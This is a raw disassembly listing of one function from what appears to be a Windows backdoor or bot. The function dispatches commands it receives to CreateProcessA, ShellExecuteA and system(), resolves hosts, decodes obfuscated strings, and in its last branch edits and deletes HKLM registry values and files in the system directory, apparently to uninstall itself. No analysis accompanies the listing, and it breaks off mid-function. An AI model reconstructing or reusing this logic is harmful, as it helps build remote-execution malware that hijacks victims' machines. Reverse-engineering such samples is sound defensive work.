		lea	ecx, [esp+19Ch+var_188]
		call	sub_13AB824
		push	2000h
		push	2000h
		lea	ecx, [esp+1A4h+var_188]
		mov	byte ptr [esp+1A4h+var_28], 2
		call	sub_13AC05D
		push	eax
		lea	ecx, [esp+1A8h+var_174]
		call	sub_13ABBE4
		push	eax
		call	ExpandEnvironmentStringsA	; ExpandEnvironmentStringsA
		lea	ecx, [esp+1ACh+var_198]
		push	ecx
		lea	ecx, [esp+1B0h+var_180]
		call	sub_13AC3BE
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+1B0h+var_108]
		lea	edx, [esp+1B0h+var_154]
		rep stosd
		lea	eax, [esp+1B0h+var_108]
		push	edx
		push	eax
		push	0
		neg	bl
		push	0
		push	28h
		sbb	ebx, ebx
		push	1
		and	ebx, 5
		push	0
		push	0
		lea	ecx, [esp+1D0h+var_184]
		mov	[esp+1D0h+var_108], 44h
		mov	[esp+1D0h+var_D8], bx
		call	sub_13AB8D3
		push	eax
		push	0
		call	CreateProcessA	; CreateProcessA
		test	eax, eax
		jnz	short loc_13AF249
		lea	ecx, [esi+69h]
		call	sub_13AB8D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset dword_4436FC
		push	ecx
		push	edx
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		lea	ecx, [esp+1E8h+var_1D4]
		mov	byte ptr [esp+1E8h+var_74], 0
		call	sub_13AB626
		mov	[esp+1E8h+var_74], 0FFFFFFFFh
		lea	ecx, [esp+1E8h+var_1BC]
		jmp	loc_13AFA6E
; ---------------------------------------------------------------------------


loc_13AF249:				; CODE XREF: sub_13AF070+18Cj
		lea	ecx, [esp+1D8h+var_1C4]
		mov	byte ptr [esp+1D8h+var_64], 0
		call	sub_13AB626
		lea	ecx, [esp+1D8h+var_1AC]
		mov	[esp+1D8h+var_64], 0FFFFFFFFh
		call	sub_13AB626
		mov	al, 1
		jmp	loc_13AFA75
; ---------------------------------------------------------------------------


loc_13AF275:				; CODE XREF: sub_13AF070+89j
		lea	ecx, [edi+0B71h]
		call	sub_13AB8D3
		push	eax
		mov	ecx, ebp
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13AF324
		push	1
		push	offset dword_443600
		lea	eax, [esp+18Ch+var_170]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_13AB5EA
		mov	ecx, offset byte_E2AA95
		mov	[esp+194h+var_20], 3
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+198h+var_180]
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13AF310
		mov	al, ds:byte_4478E6
		test	al, al
		jz	short loc_13AF2E0
		push	offset dword_447884
		mov	ecx, offset dword_448DC0
		call	sub_13AB847


loc_13AF2E0:				; CODE XREF: sub_13AF070+25Fj
		mov	al, ds:byte_44792F
		test	al, al
		jz	short loc_13AF2F8
		push	offset byte_44795F
		mov	ecx, offset dword_448DC0
		call	sub_13ABD42


loc_13AF2F8:				; CODE XREF: sub_13AF070+277j
		mov	ecx, offset dword_448DC0
		call	sub_13AC25B
		mov	ds:byte_E19CDC,	0
		mov	ds:byte_E2AA94,	0


loc_13AF310:				; CODE XREF: sub_13AF070+256j
		mov	[esp+1A0h+var_2C], 0FFFFFFFFh
		lea	ecx, [esp+1A0h+var_18C]
		jmp	loc_13AFA6E
; ---------------------------------------------------------------------------


loc_13AF324:				; CODE XREF: sub_13AF070+21Aj
		lea	ecx, [edi+0C57h]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebp
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13AF36C
		lea	ecx, [esi+69h]
		call	sub_13AB8D3
		push	eax
		mov	ecx, offset word_E2AAAA
		call	sub_13AB8D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		jmp	loc_13AFA75
; ---------------------------------------------------------------------------


loc_13AF36C:				; CODE XREF: sub_13AF070+2C9j
		lea	ecx, [edi+0DC7h]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebp
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13AF429
		push	eax
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		lea	eax, [esp+1B0h+var_160]
		push	50h
		push	eax
		call	sub_13ABDB5
		add	esp, 2Ch
		mov	esi, eax
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	7
		push	9
		push	6
		push	0Eh
		push	0Fh
		push	3
		push	10h
		lea	ecx, [esp+1BCh+var_178]
		push	9
		push	ecx
		mov	[esp+1C4h+var_18], 4
		call	sub_13ABDB5
		add	esp, 38h
		mov	edi, eax
		mov	ecx, esi
		mov	byte ptr [esp+18Ch+var_18], 5
		call	sub_13ABBE4
		push	eax
		mov	ecx, edi
		call	sub_13ABBE4
		push	eax
		call	sub_13AB699
		add	esp, 8
		lea	ecx, [esp+18Ch+var_178]
		mov	byte ptr [esp+18Ch+var_18], 4
		call	sub_13AB626
		lea	ecx, [esp+18Ch+var_160]
		mov	[esp+18Ch+var_18], 0FFFFFFFFh
		call	sub_13AB626
		mov	al, 1
		jmp	loc_13AFA75
; ---------------------------------------------------------------------------


loc_13AF429:				; CODE XREF: sub_13AF070+311j
		lea	ecx, [edi+0D0Fh]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebp
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13AF547
		lea	ecx, [esp+190h+var_164]
		call	sub_13AB824
		push	offset dword_443600
		lea	edx, [esp+194h+var_134]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+19Ch+var_1C], 6
		call	sub_13ABAAE
		mov	ecx, eax
		mov	byte ptr [esp+19Ch+var_28], 7
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+1A0h+var_170]
		call	sub_13ABE87
		lea	ecx, [esp+1A0h+var_144]
		mov	byte ptr [esp+1A0h+var_2C], 6
		call	sub_13AB626
		lea	ecx, [esp+1A0h+var_18C]
		call	sub_13AB824
		push	1
		mov	bl, 8
		push	0
		push	0
		lea	ecx, [esp+1ACh+var_174]
		mov	byte ptr [esp+1ACh+var_2C], bl
		call	sub_13ABBE4
		push	eax
		push	offset dword_4436F4
		push	0
		call	ShellExecuteA	; ShellExecuteA
		movsx	eax, al
		push	eax
		lea	ecx, [esp+1BCh+var_15C]
		call	sub_13AC4F4
		lea	ecx, [esp+1BCh+var_160]
		mov	[esp+1BCh+var_48], 9
		push	ecx
		lea	ecx, [esp+1C0h+var_1A8]
		call	sub_13AC40E
		lea	ecx, [esp+1C0h+var_164]
		mov	byte ptr [esp+1C0h+var_4C], bl
		call	sub_13AB626
		lea	ecx, [esi+69h]
		call	sub_13AB8D3
		push	eax
		lea	ecx, [esp+1C4h+var_1AC]
		call	sub_13AB8D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		lea	ecx, [esp+1D0h+var_1BC]
		mov	byte ptr [esp+1D0h+var_5C], 6
		call	sub_13AB626
		mov	[esp+1D0h+var_5C], 0FFFFFFFFh
		lea	ecx, [esp+1D0h+var_1A4]
		jmp	loc_13AFA6E
; ---------------------------------------------------------------------------


loc_13AF547:				; CODE XREF: sub_13AF070+3CEj
		lea	ecx, [edi+0D99h]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebp
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13AF56A
		mov	ds:byte_E19CDC,	al
		mov	al, 1
		jmp	loc_13AFA75
; ---------------------------------------------------------------------------


loc_13AF56A:				; CODE XREF: sub_13AF070+4ECj
		lea	ecx, [edi+0D3Dh]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebp
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13AF831
		lea	ecx, [esp+198h+var_13C]
		call	sub_13AB824
		push	offset dword_443600
		lea	ecx, [esp+19Ch+var_184]
		push	1
		mov	ebx, 0Ah
		push	ecx
		mov	ecx, esi
		mov	[esp+1A4h+var_24], ebx
		call	sub_13ABAAE
		push	offset byte_446F80
		mov	ecx, eax
		mov	[esp+1A8h+var_30], 0Bh
		call	sub_13AB6EE
		test	eax, eax
		lea	ecx, [esp+1A8h+var_194]
		mov	byte ptr [esp+1A8h+var_34], bl
		setz	byte ptr [esp+1A8h+var_180+3]
		call	sub_13AB626
		mov	al, byte ptr [esp+1A8h+var_180+3]
		test	al, al
		jz	short loc_13AF5F4
		mov	[esp+1A8h+var_34], 0FFFFFFFFh
		lea	ecx, [esp+1A8h+var_14C]
		jmp	loc_13AFA6E
; ---------------------------------------------------------------------------


loc_13AF5F4:				; CODE XREF: sub_13AF070+56Ej
		push	offset dword_443600
		lea	edx, [esp+1ACh+var_194]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+1B4h+var_40], 0Ch
		call	sub_13ABBE4
		push	eax
		call	inet_addr	; inet_addr
		lea	ecx, [esp+1B8h+var_1A4]
		mov	[esp+1B8h+var_144], eax
		mov	byte ptr [esp+1B8h+var_44], bl
		call	sub_13AB626
		mov	eax, [esp+1B8h+var_144]
		or	ebp, 0FFFFFFFFh
		cmp	eax, ebp
		jz	loc_13AF6C7
		push	2
		lea	eax, [esp+1BCh+var_144]
		push	4
		push	eax
		call	gethostbyaddr	; gethostbyaddr
		mov	edi, eax
		test	edi, edi
		jz	loc_13AF7A8
		push	offset dword_443600
		lea	ecx, [esp+1C8h+var_1B0]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_13ABAAE
		mov	edx, [edi]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+1D4h+var_5C], 0Dh
		call	sub_13ABBE4
		push	eax
		lea	eax, [esp+1D8h+var_174]
		push	offset dword_4436E0
		push	eax
		call	sub_13AB42D
		add	esp, 10h
		lea	ecx, [esp+1D0h+var_1BC]
		mov	byte ptr [esp+1D0h+var_5C], bl
		call	sub_13AB626
		lea	ecx, [esi+69h]
		call	sub_13AB8D3
		push	eax
		lea	ecx, [esp+1D4h+var_174]
		call	sub_13AB8D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		jmp	loc_13AF80E
; ---------------------------------------------------------------------------


loc_13AF6C7:				; CODE XREF: sub_13AF070+5CAj
		push	offset dword_443600
		lea	eax, [esp+1BCh+var_1A4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	byte ptr [esp+1C4h+var_50], 0Eh
		call	sub_13ABBE4
		push	eax
		call	gethostbyname	; gethostbyname
		lea	ecx, [esp+1C8h+var_1B4]
		mov	edi, eax
		mov	byte ptr [esp+1C8h+var_54], bl
		call	sub_13AB626
		test	edi, edi
		jz	loc_13AF7A8
		mov	ecx, [edi+0Ch]
		push	offset dword_443600
		lea	eax, [esp+1CCh+var_1B4]
		push	1
		mov	edx, [ecx]
		push	eax
		mov	ecx, esi
		mov	edi, [edx]
		call	sub_13ABAAE
		mov	ebp, eax
		push	edi
		mov	byte ptr [esp+1D8h+var_60], 0Fh
		call	inet_ntoa	; inet_ntoa
		push	eax
		mov	ecx, ebp
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+1E0h+var_17C]
		push	offset dword_4436D4
		push	ecx
		call	sub_13AB42D
		add	esp, 10h
		lea	ecx, [esp+1D8h+var_1C4]
		mov	byte ptr [esp+1D8h+var_64], bl
		call	sub_13AB626
		lea	ecx, [esi+69h]
		call	sub_13AB8D3
		push	eax
		lea	ecx, [esp+1DCh+var_17C]
		call	sub_13AB8D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		lea	ecx, [esp+1E8h+var_18C]
		mov	bl, al
		mov	[esp+1E8h+var_74], 0FFFFFFFFh
		call	sub_13AB626
		mov	al, bl
		jmp	loc_13AFA75
; ---------------------------------------------------------------------------


loc_13AF7A8:				; CODE XREF: sub_13AF070+5E3j
					; sub_13AF070+694j
		push	offset dword_443600
		lea	ecx, [esp+1C8h+var_1B0]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	byte ptr [esp+1D0h+var_5C], 10h
		call	sub_13ABBE4
		push	eax
		lea	edx, [esp+1D4h+var_174]
		push	offset dword_4436BC
		push	edx
		call	sub_13AB42D
		add	esp, 0Ch
		lea	ecx, [esp+1D0h+var_1BC]
		mov	byte ptr [esp+1D0h+var_5C], bl
		call	sub_13AB626
		lea	ecx, [esi+69h]
		call	sub_13AB8D3
		push	eax
		lea	ecx, [esp+1D4h+var_174]
		call	sub_13AB8D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_13AF80E:				; CODE XREF: sub_13AF070+652j
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		lea	ecx, [esp+1E0h+var_184]
		mov	bl, al
		mov	[esp+1E0h+var_6C], ebp
		call	sub_13AB626
		mov	al, bl
		jmp	loc_13AFA75
; ---------------------------------------------------------------------------


loc_13AF831:				; CODE XREF: sub_13AF070+50Fj
		lea	ecx, [edi+0BCDh]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebp
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13AF922
		lea	ecx, [edi+9]
		call	sub_13ABBE4
		lea	edx, [esp+19Ch+var_188]
		push	eax
		push	edx
		call	sub_13AC422
		add	esp, 8
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	eax, [esp+1ACh+var_170]
		mov	ebx, 11h
		push	28h
		push	eax
		mov	[esp+1B4h+var_28], ebx
		call	sub_13ABDB5
		add	esp, 18h
		mov	esi, eax
		lea	ecx, [esp+19Ch+var_188]
		mov	byte ptr [esp+19Ch+var_28], 12h
		call	sub_13ABBE4
		push	eax
		mov	ecx, esi
		call	sub_13ABBE4
		push	eax
		push	offset dword_4435F4
		push	offset byte_E19CC5
		call	sub_13AC20B
		add	esp, 10h
		lea	ecx, [esp+19Ch+var_170]
		mov	byte ptr [esp+19Ch+var_28], bl
		call	sub_13AB626
		push	20h
		lea	ecx, [esp+1A0h+var_170]
		push	0
		push	ecx
		lea	ecx, [esp+1A8h+var_188]
		call	sub_13AB6B2
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_34], 13h
		call	sub_13ABBE4
		push	eax
		push	offset dword_4435F0
		push	offset byte_E2AA95
		call	sub_13AB42D
		add	esp, 0Ch
		lea	ecx, [esp+1A8h+var_17C]
		mov	byte ptr [esp+1A8h+var_34], bl
		call	sub_13AB626
		lea	ecx, [esp+1A8h+var_194]
		mov	[esp+1A8h+var_34], 0FFFFFFFFh
		call	sub_13AB626
		mov	al, 1
		jmp	loc_13AFA75
; ---------------------------------------------------------------------------


loc_13AF922:				; CODE XREF: sub_13AF070+7D6j
		lea	ecx, [edi+0E23h]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebp
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13AFA90
		push	offset dword_443600
		lea	edx, [esp+1A4h+var_144]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_13ABAAE
		mov	edi, eax
		mov	ecx, ebp
		mov	[esp+1ACh+var_38], 14h
		call	sub_13AB7D9
		mov	ecx, edi
		mov	ebx, eax
		call	sub_13AB7D9
		mov	ecx, esi
		lea	edi, [ebx+eax+3]
		call	sub_13AB7D9
		cmp	eax, edi
		lea	ecx, [esp+1ACh+var_150]
		setle	bl
		or	edi, 0FFFFFFFFh
		mov	[esp+1ACh+var_38], edi
		call	sub_13AB626
		test	bl, bl
		jnz	loc_13AFA73
		lea	ecx, [esp+1ACh+var_180]
		call	sub_13AB824
		mov	ecx, ebp
		mov	[esp+1ACh+var_38], 15h
		call	sub_13AB7D9
		add	eax, 2
		mov	ecx, esi
		push	eax
		call	sub_13AB86F
		push	eax
		lea	ecx, [esp+1B0h+var_180]
		call	sub_13AB9D7
		lea	ecx, [esp+1B0h+var_19C]
		call	sub_13AB824
		lea	ecx, [esp+1B0h+var_184]
		mov	byte ptr [esp+1B0h+var_3C], 16h
		call	sub_13ABBE4
		push	eax
		lea	eax, [esp+1B4h+var_19C]
		push	offset dword_4436AC
		push	eax
		call	sub_13AB42D
		add	esp, 0Ch
		lea	ecx, [esp+1B0h+var_184]
		call	sub_13ABBE4
		push	eax
		call	system	; system
		add	esp, 4
		cmp	eax, edi
		lea	ecx, [esi+69h]
		jnz	short loc_13AFA2A
		call	sub_13AB8D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset dword_4436FC
		push	ecx
		push	edx
		jmp	short loc_13AFA48
; ---------------------------------------------------------------------------


loc_13AFA2A:				; CODE XREF: sub_13AF070+99Dj
		call	sub_13AB8D3
		push	eax
		lea	ecx, [esp+1B4h+var_19C]
		call	sub_13AB8D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_13AFA48:				; CODE XREF: sub_13AF070+9B8j
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		lea	ecx, [esp+1C0h+var_1AC]
		mov	byte ptr [esp+1C0h+var_4C], 15h
		call	sub_13AB626
		mov	[esp+1C0h+var_4C], edi
		lea	ecx, [esp+1C0h+var_194]


loc_13AFA6E:				; CODE XREF: sub_13AF070+1D4j
					; sub_13AF070+2AFj ...
		call	sub_13AB626


loc_13AFA73:				; CODE XREF: sub_13AF070+922j
					; sub_13AF070+C70j
		xor	al, al


loc_13AFA75:				; CODE XREF: sub_13AF070+6Fj
					; sub_13AF070+200j ...
		mov	ecx, [esp+1C0h+var_54]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 168h
		retn	4
; ---------------------------------------------------------------------------


loc_13AFA90:				; CODE XREF: sub_13AF070+8C7j
		lea	ecx, [edi+0C85h]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebp
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13AFB06
		lea	edx, [esp+1A4h+var_190]
		mov	ecx, edi
		push	edx
		call	sub_13AC33C
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+1A8h+var_34], 17h
		call	sub_13AB8D3
		push	eax
		mov	ecx, edi
		call	sub_13AB8D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		lea	ecx, [esp+1B8h+var_1A4]
		mov	bl, al
		mov	[esp+1B8h+var_44], 0FFFFFFFFh
		call	sub_13AB626
		mov	al, bl
		jmp	loc_13AFA75
; ---------------------------------------------------------------------------


loc_13AFB06:				; CODE XREF: sub_13AF070+A35j
		lea	ecx, [edi+0CE1h]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebp
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13AFBF7
		push	1
		push	offset dword_443600
		lea	edx, [esp+1B0h+var_17C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_13AB5EA
		push	20h
		lea	ecx, [esp+1BCh+var_1A4]
		push	0
		push	ecx
		mov	ecx, eax
		mov	[esp+1C4h+var_44], 18h
		call	sub_13AB6B2
		mov	ecx, eax
		mov	byte ptr [esp+1C4h+var_50], 19h
		call	sub_13ABBE4
		push	eax
		push	offset dword_4435F0
		push	offset byte_E2AA95
		call	sub_13AB42D
		add	esp, 0Ch
		lea	ecx, [esp+1C4h+var_1B0]
		mov	byte ptr [esp+1C4h+var_50], 18h
		call	sub_13AB626
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+1C4h+var_198]
		mov	[esp+1C4h+var_50], edi
		call	sub_13AB626
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	edx, [esp+1D4h+var_1B0]
		push	28h
		push	edx
		call	sub_13ABDB5
		add	esp, 18h
		mov	esi, eax
		mov	ecx, offset byte_E2AA95
		mov	[esp+1C4h+var_50], 1Ah
		call	sub_13ABBE4
		push	eax
		mov	ecx, esi
		call	sub_13ABBE4
		push	eax
		push	offset dword_4435F4
		push	offset byte_E19CC5
		call	sub_13AC20B
		add	esp, 10h
		lea	ecx, [esp+1C4h+var_1B0]
		mov	[esp+1C4h+var_50], edi
		call	sub_13AB626
		mov	al, 1
		jmp	loc_13AFA75
; ---------------------------------------------------------------------------


loc_13AFBF7:				; CODE XREF: sub_13AF070+AABj
		lea	ecx, [edi+0CB3h]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebp
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13AFCCB
		push	offset dword_443600
		lea	eax, [esp+1B0h+var_180]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+1B8h+var_44], 1Bh
		call	sub_13ABBE4
		push	eax
		call	atoi	; atoi
		or	ebp, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+1B8h+var_18C]
		mov	ebx, eax
		mov	[esp+1B8h+var_44], ebp
		call	sub_13AB626
		test	ebx, ebx
		jnz	short loc_13AFC5F
		mov	ebx, 7


loc_13AFC5F:				; CODE XREF: sub_13AF070+BE8j
		lea	ecx, [esp+1B8h+var_1A4]
		push	ebx
		push	ecx
		mov	ecx, edi
		call	sub_13ABD4C
		push	offset byte_446F80
		lea	ecx, [esp+1C4h+var_1AC]
		mov	[esp+1C4h+var_4C], 1Ch
		call	sub_13AB6EE
		test	eax, eax
		jz	short loc_13AFCB4
		lea	ecx, [esi+69h]
		call	sub_13AB8D3
		push	eax
		lea	ecx, [esp+1C8h+var_1B0]
		call	sub_13AB8D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518


loc_13AFCB4:				; CODE XREF: sub_13AF070+C17j
		lea	ecx, [esp+1D4h+var_1C0]
		mov	[esp+1D4h+var_60], ebp
		call	sub_13AB626
		mov	al, 1
		jmp	loc_13AFA75
; ---------------------------------------------------------------------------


loc_13AFCCB:				; CODE XREF: sub_13AF070+B9Cj
		lea	ecx, [edi+0DF5h]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebp
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13AFA73
		lea	ecx, [esp+1B0h+var_138]
		call	sub_13AB824
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+264h+var_19C]
		push	2Dh
		push	ecx
		mov	[esp+26Ch+var_3C], 1Dh
		call	sub_13ABDB5
		add	esp, 0BCh
		mov	ecx, eax
		mov	byte ptr [esp+1B0h+var_3C], 1Eh
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+1B4h+var_138]
		call	sub_13ABE87
		lea	ecx, [esp+1B4h+var_1A0]
		mov	[esp+1B4h+var_40], 1Dh
		call	sub_13AB626
		mov	edi, offset dword_4436A8
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+1B4h+var_C8]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	[esp+1B4h+var_1A4], 0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+1B4h+var_C8]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, RegOpenKeyExA
		mov	edi, ecx
		lea	ecx, [esp+1B4h+var_1A4]
		push	ecx
		push	20019h
		push	eax
		push	offset dword_44368C
		push	80000002h
		call	esi ; RegOpenKeyExA
		push	0
		push	27h
		push	29h
		push	1Dh
		push	1Eh
		push	5
		push	0Ch
		push	2
		push	1
		push	0Eh
		lea	edx, [esp+1F0h+var_1B4]
		push	1Fh
		push	edx
		call	sub_13ABDB5
		add	esp, 30h
		lea	ecx, [esp+1C8h+var_DC]
		push	edi
		push	ecx
		push	1
		push	0
		mov	ecx, eax
		mov	byte ptr [esp+1D8h+var_54], 1Fh
		call	sub_13ABBE4
		mov	edx, [esp+1D8h+var_1B8]
		push	eax
		push	edx
		call	RegSetValueExA	; RegSetValueExA
		lea	ecx, [esp+1E0h+var_1CC]
		mov	byte ptr [esp+1E0h+var_6C], 1Dh
		call	sub_13AB626
		mov	eax, [esp+1E0h+var_1D0]
		mov	edi, RegCloseKey
		push	eax
		call	edi ; RegCloseKey
		lea	ecx, [esp+1E4h+var_1D4]
		push	ecx
		push	0F003Fh
		push	0
		lea	ecx, [esp+1F0h+var_16C]
		call	sub_13ABBE4
		push	eax
		push	80000002h
		call	esi ; RegOpenKeyExA
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	14h
		push	1
		push	13h
		lea	edx, [esp+21Ch+var_1E4]
		push	2Dh
		push	edx
		call	sub_13ABDB5
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1F8h+var_84], 20h
		call	sub_13ABBE4
		mov	ebp, RegDeleteValueA
		push	eax
		mov	eax, [esp+1FCh+var_1E8]
		push	eax
		call	ebp ; RegDeleteValueA
		lea	ecx, [esp+200h+var_1EC]
		mov	[esp+200h+var_8C], 1Dh
		call	sub_13AB626
		mov	ecx, [esp+200h+var_1F0]
		push	ecx
		call	edi ; RegCloseKey
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	48h
		push	0Eh
		push	15h
		push	12h
		lea	edx, [esp+228h+var_1F0]
		push	9
		push	edx
		call	sub_13ABDB5
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+204h+var_90], 21h
		call	sub_13ABBE4
		push	eax
		call	sub_13AB9FA
		add	esp, 4
		lea	ecx, [esp+204h+var_1F0]
		mov	[esp+204h+var_90], 1Dh
		call	sub_13AB626
		lea	ecx, [esp+204h+var_1C0]
		call	sub_13AB824
		mov	bl, 22h
		push	104h
		push	104h
		lea	ecx, [esp+20Ch+var_1C0]
		mov	[esp+20Ch+var_90], bl
		call	sub_13AC05D
		push	eax
		call	GetSystemDirectoryA	; GetSystemDirectoryA
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	48h
		push	0Eh
		push	15h
		push	12h
		lea	eax, [esp+234h+var_1FC]
		push	9
		push	eax
		call	sub_13ABDB5
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+210h+var_9C], 23h
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+214h+var_1CC]
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+218h+var_1CC]
		push	offset dword_443684
		push	ecx
		call	sub_13AB42D
		add	esp, 10h
		lea	ecx, [esp+210h+var_1FC]
		mov	[esp+210h+var_9C], bl
		call	sub_13AB626
		lea	ecx, [esp+210h+var_1CC]
		call	sub_13ABA81
		push	eax
		call	DeleteFileA	; DeleteFileA
		lea	edx, [esp+214h+var_204]
		lea	ecx, [esp+214h+var_19C]
		push	edx
		push	0F003Fh
		push	0
		call	sub_13ABBE4
		push	eax
		push	80000002h
		call	esi ; RegOpenKeyExA
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	14h
		push	1
		lea	eax, [esp+248h+var_214]
		push	12h
		push	eax
		call	sub_13ABDB5
		add	esp, 28h
		mov	ecx, eax
		mov	[esp+228h+var_B4], 24h
		call	sub_13ABBE4
		mov	ecx, [esp+228h+var_218]
		push	eax
		push	ecx
		call	ebp ; RegDeleteValueA
		lea	ecx, [esp+230h+var_21C]
		mov	[esp+230h+var_BC], bl
		call	sub_13AB626
		mov	edx, [esp+230h+var_220]
		push	edx
		call	edi ; RegCloseKey
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	48h
		push	0Eh
		push	48h
		push	49h
		push	12h
		push	45h
		push	45h
		lea	eax, [esp+264h+var_220]
		push	9
		push	eax
		call	sub_13ABDB5
		add	esp, 38h
		mov	ecx, eax
		mov	[esp+234h+var_C0], 25h
		call	sub_13ABBE4
		push	eax
		call	sub_13AB9FA
		add	esp, 4
		lea	ecx, [esp+234h+var_220]
		mov	[esp+234h+var_C0], bl
		call	sub_13AB626
		push	104h
		push	104h
		lea	ecx, [esp+23Ch+var_1F0]
		call	sub_13AC05D
		push	eax
		call	GetSystemDirectoryA	; GetSystemDirectoryA
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	48h
		push	0Eh
		push	48h
		push	49h
		push	12h
		push	45h
		push	45h
		lea	ecx, [esp+270h+var_22C]
		push	9
		push	ecx
		call	sub_13ABDB5
		add	esp, 38h
		mov	ecx, eax
		mov	[esp+240h+var_CC], 26h
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+244h+var_1FC]
		call	sub_13ABBE4
		push	eax
		lea	edx, [esp+248h+var_1FC]
		push	offset dword_443684
		push	edx
		call	sub_13AB42D
		add	esp, 10h
		lea	ecx, [esp+240h+var_22C]
		mov	[esp+240h+var_CC], bl
		call	sub_13AB626
		lea	ecx, [esp+240h+var_1FC]
		call	sub_13ABA81
		push	eax
		call	DeleteFileA	; DeleteFileA
		lea	eax, [esp+244h+var_234]
		lea	ecx, [esp+244h+var_1CC]
		push	eax
